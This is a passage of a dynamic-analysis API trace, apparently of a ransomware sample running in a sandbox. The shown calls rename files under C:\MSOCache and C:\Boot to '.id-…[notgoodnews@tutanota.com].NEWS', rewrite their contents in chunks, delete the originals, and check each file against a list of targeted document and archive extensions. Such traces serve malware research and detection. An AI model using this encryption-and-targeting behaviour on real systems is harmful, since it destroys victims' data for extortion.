users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.343] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0071.343] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0071.344] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0x0) returned 1 [0071.344] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0071.344] ReadFile (in: hFile=0x200, lpBuffer=0x3c80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3c80058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.385] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0071.385] ReadFile (in: hFile=0x200, lpBuffer=0x3cc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3cc0058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.400] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x35cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0071.401] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc2c | out: lpNewFilePointer=0x0) returned 1 [0071.401] ReadFile (in: hFile=0x200, lpBuffer=0x3d00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x35cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3d00058*, lpNumberOfBytesRead=0x35cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.652] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.652] WriteFile (in: hFile=0x200, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x35cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0071.674] SetEndOfFile (hFile=0x200) returned 1 [0071.674] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ee4858 [0071.943] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.944] WriteFile (in: hFile=0x200, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.947] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.947] WriteFile (in: hFile=0x200, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.951] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x35cfc7c | out: lpNewFilePointer=0x0) returned 1 [0071.951] WriteFile (in: hFile=0x200, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x35cfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x35cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.954] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0071.954] CloseHandle (hObject=0x200) returned 1 [0071.954] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0071.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.955] lstrlenW (lpString=".doc") returned 4 [0071.955] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.955] lstrlenW (lpString=".docx") returned 5 [0071.955] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0071.955] lstrlenW (lpString=".pdf") returned 4 [0071.955] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.955] lstrlenW (lpString=".xls") returned 4 [0071.955] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.955] lstrlenW (lpString=".xlsx") returned 5 [0071.955] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0071.955] lstrlenW (lpString=".ppt") returned 4 [0071.955] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.955] lstrlenW (lpString=".zip") returned 4 [0071.955] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.956] lstrlenW (lpString=".rar") returned 4 [0071.956] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.956] lstrlenW (lpString=".bz2") returned 4 [0071.956] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.956] lstrlenW (lpString=".7z") returned 3 [0071.956] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.956] lstrlenW (lpString=".dbf") returned 4 [0071.956] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.956] lstrlenW (lpString=".1cd") returned 4 [0071.956] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.956] lstrlenW (lpString=".jpg") returned 4 [0071.956] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.956] lstrlenW (lpString=".doc") returned 4 [0071.956] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0071.956] lstrlenW (lpString=".docx") returned 5 [0071.957] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0071.957] lstrlenW (lpString=".pdf") returned 4 [0071.957] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".xls") returned 4 [0071.957] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".xlsx") returned 5 [0071.957] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0071.957] lstrlenW (lpString=".ppt") returned 4 [0071.957] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.957] lstrlenW (lpString=".zip") returned 4 [0071.957] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".rar") returned 4 [0071.957] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0071.957] lstrlenW (lpString=".bz2") returned 4 [0071.957] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0071.957] lstrlenW (lpString=".7z") returned 3 [0071.957] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0071.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.957] lstrlenW (lpString=".dbf") returned 4 [0071.957] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0071.957] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.958] lstrlenW (lpString=".1cd") returned 4 [0071.958] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0071.958] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0071.958] lstrlenW (lpString=".jpg") returned 4 [0071.958] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0071.958] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0071.958] lstrlenW (lpString="PidGenX.dll") returned 11 [0071.958] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0071.959] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=1463568) returned 1 [0071.959] CloseHandle (hObject=0x200) returned 1 [0071.959] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0071.959] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0071.959] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.959] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0071.959] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0071.960] GetLastError () returned 0x0 [0071.960] ReadFile (in: hFile=0x200, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0072.009] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0072.037] ReadFile (in: hFile=0x200, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x65520, lpOverlapped=0x0) returned 1 [0072.057] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0x65530, lpOverlapped=0x0) returned 1 [0072.656] ReadFile (in: hFile=0x200, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x35cfed4*=0x0, lpOverlapped=0x0) returned 1 [0072.656] WriteFile (in: hFile=0x170, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x35cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x35cfc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.656] SetEndOfFile (hFile=0x170) returned 1 [0072.657] CloseHandle (hObject=0x170) returned 1 [0072.657] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35cfec8 | out: lpNewFilePointer=0x0) returned 1 [0072.657] SetEndOfFile (hFile=0x200) returned 1 [0072.664] CloseHandle (hObject=0x200) returned 1 [0072.664] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0072.664] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) Thread: id = 17 os_tid = 0x788 [0044.113] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36812e8 [0044.114] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36912f0 [0044.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610ba0 [0044.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x61a298 [0044.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610bb8 [0044.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3d90020 [0044.116] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610bd0 [0044.116] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610bd0, Size=0x20) returned 0x35f0138 [0044.116] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610bd0 [0044.116] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610bd0, Size=0x20) returned 0x35f0110 [0044.116] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0044.116] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0044.116] Wow64DisableWow64FsRedirection (in: OldValue=0x391ff58 | out: OldValue=0x391ff58*=0x0) returned 1 [0044.116] lstrlenW (lpString="kernel32.dll") returned 12 [0044.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0138 | out: hHeap=0x5c0000) returned 1 [0044.117] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0044.117] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0110 | out: hHeap=0x5c0000) returned 1 [0044.117] Sleep (dwMilliseconds=0x64) [0044.424] Sleep (dwMilliseconds=0x64) [0044.656] lstrcmpiW (lpString1=".LOG2", lpString2=".NEWS") returned -1 [0044.656] lstrlenW (lpString="BCD.LOG2") returned 8 [0044.656] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.746] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=0) returned 1 [0044.746] CloseHandle (hObject=0x178) returned 1 [0044.746] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.746] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.746] lstrlenW (lpString=".doc") returned 4 [0044.746] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0044.746] lstrlenW (lpString=".docx") returned 5 [0044.746] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0044.747] lstrlenW (lpString=".pdf") returned 4 [0044.747] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0044.747] lstrlenW (lpString=".xls") returned 4 [0044.747] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0044.747] lstrlenW (lpString=".xlsx") returned 5 [0044.747] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0044.747] lstrlenW (lpString=".ppt") returned 4 [0044.747] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0044.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.747] lstrlenW (lpString=".zip") returned 4 [0044.747] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0044.747] lstrlenW (lpString=".rar") returned 4 [0044.747] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0044.747] lstrlenW (lpString=".bz2") returned 4 [0044.747] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0044.747] lstrlenW (lpString=".7z") returned 3 [0044.747] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0044.747] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.748] lstrlenW (lpString=".dbf") returned 4 [0044.748] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0044.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.748] lstrlenW (lpString=".1cd") returned 4 [0044.748] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0044.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.748] lstrlenW (lpString=".jpg") returned 4 [0044.748] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0044.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.748] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.748] lstrlenW (lpString=".doc") returned 4 [0044.748] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0044.748] lstrlenW (lpString=".docx") returned 5 [0044.748] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0044.748] lstrlenW (lpString=".pdf") returned 4 [0044.748] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0044.748] lstrlenW (lpString=".xls") returned 4 [0044.748] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0044.749] lstrlenW (lpString=".xlsx") returned 5 [0044.749] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0044.749] lstrlenW (lpString=".ppt") returned 4 [0044.749] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0044.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.749] lstrlenW (lpString=".zip") returned 4 [0044.749] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0044.749] lstrlenW (lpString=".rar") returned 4 [0044.749] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0044.749] lstrlenW (lpString=".bz2") returned 4 [0044.749] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0044.749] lstrlenW (lpString=".7z") returned 3 [0044.749] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0044.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.749] lstrlenW (lpString=".dbf") returned 4 [0044.749] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0044.749] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.749] lstrlenW (lpString=".1cd") returned 4 [0044.749] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0044.750] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0044.750] lstrlenW (lpString=".jpg") returned 4 [0044.750] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0044.750] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0044.750] lstrlenW (lpString="kor_boot.ttf") returned 12 [0044.750] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.236] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=2371360) returned 1 [0045.236] CloseHandle (hObject=0x170) returned 1 [0045.236] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0045.236] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.237] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0045.237] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.237] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.237] lstrlenW (lpString=".doc") returned 4 [0045.237] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0045.237] lstrlenW (lpString=".docx") returned 5 [0045.237] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0045.237] lstrlenW (lpString=".pdf") returned 4 [0045.237] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0045.237] lstrlenW (lpString=".xls") returned 4 [0045.237] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0045.237] lstrlenW (lpString=".xlsx") returned 5 [0045.237] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0045.237] lstrlenW (lpString=".ppt") returned 4 [0045.237] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0045.237] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.237] lstrlenW (lpString=".zip") returned 4 [0045.237] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0045.237] lstrlenW (lpString=".rar") returned 4 [0045.238] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0045.238] lstrlenW (lpString=".bz2") returned 4 [0045.238] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0045.238] lstrlenW (lpString=".7z") returned 3 [0045.238] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0045.238] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.238] lstrlenW (lpString=".dbf") returned 4 [0045.238] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0045.238] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.238] lstrlenW (lpString=".1cd") returned 4 [0045.238] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0045.238] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.238] lstrlenW (lpString=".jpg") returned 4 [0045.238] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0045.238] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.238] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.238] lstrlenW (lpString=".doc") returned 4 [0045.238] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0045.238] lstrlenW (lpString=".docx") returned 5 [0045.238] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0045.238] lstrlenW (lpString=".pdf") returned 4 [0045.239] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0045.239] lstrlenW (lpString=".xls") returned 4 [0045.239] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0045.239] lstrlenW (lpString=".xlsx") returned 5 [0045.239] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0045.239] lstrlenW (lpString=".ppt") returned 4 [0045.239] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0045.239] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.239] lstrlenW (lpString=".zip") returned 4 [0045.239] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0045.239] lstrlenW (lpString=".rar") returned 4 [0045.239] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0045.239] lstrlenW (lpString=".bz2") returned 4 [0045.239] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0045.239] lstrlenW (lpString=".7z") returned 3 [0045.239] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0045.239] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.239] lstrlenW (lpString=".dbf") returned 4 [0045.239] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0045.239] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.239] lstrlenW (lpString=".1cd") returned 4 [0045.239] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0045.240] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0045.240] lstrlenW (lpString=".jpg") returned 4 [0045.240] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0045.240] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0045.240] lstrlenW (lpString="ExcelMUI.msi") returned 12 [0045.240] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, 